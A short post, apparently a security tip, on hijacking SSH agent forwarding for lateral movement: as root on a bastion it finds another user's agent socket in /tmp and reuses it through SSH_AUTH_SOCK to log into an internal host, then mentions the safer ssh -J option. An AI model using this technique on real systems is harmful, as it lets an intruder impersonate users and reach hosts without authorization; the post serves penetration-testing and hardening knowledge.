Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.
root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460
root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh [email protected]
user@internal:~$ hostname -f
internal.company.tld
This post explains it well and details the safer ssh -J
alternative.
Both ssh -L and -R can forward Unix sockets, too. Might be useful when performing SSH gymnastics.